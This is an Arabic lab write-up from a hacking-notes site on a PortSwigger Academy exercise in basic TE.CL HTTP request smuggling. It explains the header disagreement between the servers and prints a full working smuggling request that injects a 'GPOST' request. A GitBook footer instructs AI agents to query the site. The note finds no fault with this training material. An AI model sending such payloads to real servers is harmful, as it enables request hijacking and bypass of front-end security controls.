> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/basic-te-cl-request-smuggling.md).

# ثغرة تهريب طلبات HTTP TE.CL

### تجاوز طلبات HTTP، ثغرة TE.CL الأساسية

في هذا السيناريو، يستخدم التطبيق خادمًا أماميًا وخادمًا داخليًا. الـ **الخادم الخلفي لا يدعم ترميز التقسيم**، بينما الـ **الخادم الأمامي يقبل فقط GET وPOST** الطرق. يتيح لنا هذا الاختلاف في السلوك استغلال ثغرة من نوع **TE.CL**، حيث يفسر الخادم الأمامي الطلب وفقًا للرأس Transfer-Encoding، بينما يعتمد الخادم الداخلي على Content-Length.

#### **هدف المختبر**

قم بحقن طلب في تدفق HTTP بحيث يبدو أن الطلب التالي **الذي يعالجه الخادم الخلفي يستخدم `GPOST`** الطريقة، مما يثبت صحة المختبر.

#### **ملاحظات مهمة**

* على الرغم من أن المختبر يدعم HTTP/2، فإن التقنية المتوقعة تعتمد حصريًا على آليات خاصة بـ **HTTP/1**. لذا يجب تعديل البروتوكول يدويًا في Burp Repeater إذا لزم الأمر.
* قد يكون التعامل مع حقول الطول بشكل صحيح صعبًا.  **HTTP Request Smuggler** الإضافة المتاحة في متجر BApp تسهّل هذه المهمة.

#### **مثال على حمولة تستغل TE.CL**

في هذا الهجوم، يفسر الخادم الأمامي الرسالة بوضع التقسيمات (chunked)، بينما يحسب الخادم الخلفي نهاية الطلب عبر Content-Length، مما يتيح إدخال طلب ثانٍ:

```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20

test=test
0


```

<figure><img src="/files/e1646525b4c6bd2beeb0b7ce3492037eaa45bae2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/basic-te-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
